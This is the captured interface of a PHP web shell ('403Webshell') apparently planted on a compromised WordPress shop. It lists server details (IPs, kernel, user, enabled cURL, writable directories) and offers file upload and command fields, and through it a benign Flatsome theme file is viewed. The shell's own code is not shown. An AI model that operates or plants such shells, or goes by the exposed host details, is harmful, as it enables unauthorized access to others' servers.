403Webshell
Server IP : 104.21.41.186  /  Your IP : 216.73.216.182
Web Server : LiteSpeed
System : Linux pbn-16.isgood.host 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gamenohushop ( 1160)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/local/lsws/gamenohu.shop/html/wp-content/themes/flatsome/inc/integrations/wcml/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/lsws/gamenohu.shop/html/wp-content/themes/flatsome/inc/integrations/wcml/class-wcml.php
<?php
/**
 * WooCommerce multilingual integration
 *
 * @author      UX Themes
 * @package     Flatsome\Integrations
 * @since       3.17.4
 */

namespace Flatsome\Integrations;

defined( 'ABSPATH' ) || exit;

/**
 * Class WCML
 *
 * @package Flatsome\Integrations
 */
class WCML {

	/**
	 * Static instance
	 *
	 * @var WCML $instance
	 */
	private static $instance = null;

	/**
	 * WCML constructor.
	 */
	private function __construct() {
		add_filter( 'wcml_multi_currency_ajax_actions', [ $this, 'multi_currency_ajax_actions' ] );
	}

	/**
	 * Adds custom actions to the WooCommerce Multilingual multi-currency ajax actions.
	 *
	 * @param array $ajax_actions The existing AJAX actions.
	 *
	 * @return array Returns the modified array of AJAX actions.
	 */
	public function multi_currency_ajax_actions( $ajax_actions ) {
		$ajax_actions[] = 'flatsome_ajax_add_to_cart';
		$ajax_actions[] = 'flatsome_ajax_apply_shortcode';
		$ajax_actions[] = 'flatsome_ajax_cart_item_alter_quantity';
		$ajax_actions[] = 'flatsome_ajax_search_products';
		$ajax_actions[] = 'flatsome_quickview';

		return $ajax_actions;
	}

	/**
	 * Initializes the object and returns its instance.
	 *
	 * @return WCML The object instance
	 */
	public static function get_instance() {
		if ( ! isset( self::$instance ) ) {
			self::$instance = new self();
		}

		return self::$instance;
	}
}

WCML::get_instance();


Youez - 2016 - github.com/yon3zu
LinuXploit